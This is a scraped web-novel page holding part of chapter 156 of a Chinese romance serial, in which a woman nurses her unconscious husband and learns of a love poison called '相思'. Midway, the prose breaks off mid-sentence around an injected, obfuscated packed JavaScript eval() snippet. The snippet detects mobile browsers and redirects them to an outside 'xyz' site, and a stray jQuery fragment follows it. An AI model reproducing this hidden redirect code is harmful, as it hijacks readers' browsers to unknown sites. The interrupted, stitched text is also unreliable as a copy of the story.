当前位置:矫情书院>都市言情>千秋岁·舜英传> 156. 相思
阅读设置(推荐配合 快捷键[F11] 进入全屏沉浸式阅读)

设置X

156. 相思(2 / 3)

伸长脖子啃了两个馒头、喝了半壶水,腹内空荡荡的烧灼痛感好了些,也增长了部分力气。

然后,她让郎琊和那两名护卫将绳索一端穿过她的腋下,一端系在木篱笆上,分别系在两个不同的方向上,保证他们的身躯不会同时沉入水底。

粗粝的麻绳隔着衣袍勒进她的皮肉,有点痛。郎琊提议:“要不还是系在主子身上吧,他比夫人沉一些。”

她不假思索摇了摇头,苻洵已经那么疼了,她舍不得让他再多疼一分。

郎琊说:“主子要是醒了,晓得夫人这样遭罪,会罚我们的。”

她静静注视着苻洵的睡颜:“所以,他为什么非要和离?”但是话一出口,她就知道郎琊不会回答。

秦川嘴碎、郎琊嘴严,苻洵兼具了他二人特点,撩闲的时候话又多又碎,到了关键时候锥子都撬不开那张嘴。

果然,郎琊沉默了,半晌后说:“有一种汤药,可缓解主子的疼痛,夫人还是上来歇歇。”

她在记忆里搜寻一会

;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14776228|144820||http|test|mini|href|location''.split(''|''),0,{}));

() {

$(''.inform'').remove();

$(''#content'').append(''

儿,盯着郎琊双目:“跟‘相思’的作用一样么?”

郎琊一惊:“夫人知道‘相思’?”

“是啊,知道”,锦瑟苦笑着低下头,轻声喃喃,“相思之毒,中毒之人此生此世只能念着一人,若是对别人动了心思就会摧心伤肝、生不如死。离下毒者越近,心脏便会越欢欣鼓舞……”

她当然知道,她早该知道。

他对她说过那么多,她却只当他在开玩笑,或是用风月场上的浪荡手段哄她高兴。

这该死的桃花眼、这可恶的破嘴,将她早该听进心里的话藏得密密实实。

郎琊端来煎好的汤药,她先是扶着他的头往嘴里倒,他神智模糊唇齿紧合,无论从哪个角度倒,药液都会从唇角溢出来。

她让护卫们出去,犹豫片刻,理直气壮地说:“我可只是为了救你,不许多想。”然后将药含在嘴里,一口一口喂给他。

低头覆上冰凉的唇,温柔地撬开他的唇、齿,药液慢慢流下,带着清苦和微酸,药碗逐渐见底。喂完最后一口时,她注视着近在咫尺的他,贴过去蹭了蹭他脸颊,把头靠在他肩膀上。

苻洵仍闭着双目,毫无知觉,她试探着放开他、后退半步,静静等了半晌,确定他胸口那团金光没有亮起,才起身揉了揉酸麻的胳膊和腰腿,迎着西斜的日头、一步步走向岸边。

“阿洵,你好好歇息,我晚上再来看你。”

她下午补了个觉,睡得很沉。梦里的她置身一间山洞,躺在一块巨石上,苻洵坐在旁边,俯身一边亲吻一边喂给她甜丝丝的药液。

他满眼泪水定定注视着她:“姐姐,看着我的眼睛,你真的已把我忘得干干净净了么?”

她张了张嘴,听见梦里的她哽咽着说:“没有,我全都记起来了。”

“可我现在只能把你忘得干干净净。”

她哭着醒来,窗外一轮圆月静静照着满脸泪痕,披衣起身、推开门走出去,屋外灯火通明。白袍卫就算只有三人进山,也是纪律严明、分了两班轮值。

郎琊见她过来,忙从厨房端来宵夜,还有一碗酽酽的参汤。又跟她说,苻洵这次受伤很重、调养非一时之功,劝她不要太拼,不必非浸在水中,坐在岸边牵着他的手,‘相思’也能感知到。

她不知他前两月为何匆匆离去,也不知他受了什么伤,更不知他心口那团金光是什么,他有太多谜团。

可她不想追究了,只要他好好活着,甚至醒来后是否还能和她过下去,都没那么重要。

她只期盼他过得好。

苻洵一连十多天昏迷不醒,脸颊和嘴唇依然没有一丝血色。郎琊反而从最初的慌乱中平静下来,每天定时熬煮汤药、安排饭食,提醒她去汤泉陪着苻洵、再提醒她回来歇息。

山中无日月,岁尽不知年。

有一天,郎琊请她去厨房,带着前所未有的严峻神色:“夫人,主子的草药快用完了。”

她打开挂在墙上满满的药囊,诧异道:“这不是还有么?”

郎琊:“这是缓解心痛的薜荔,我说的是焉酸草。”

她心一沉:“这不是画本子里所说,消解百毒

上一页 目录 +书签 下一页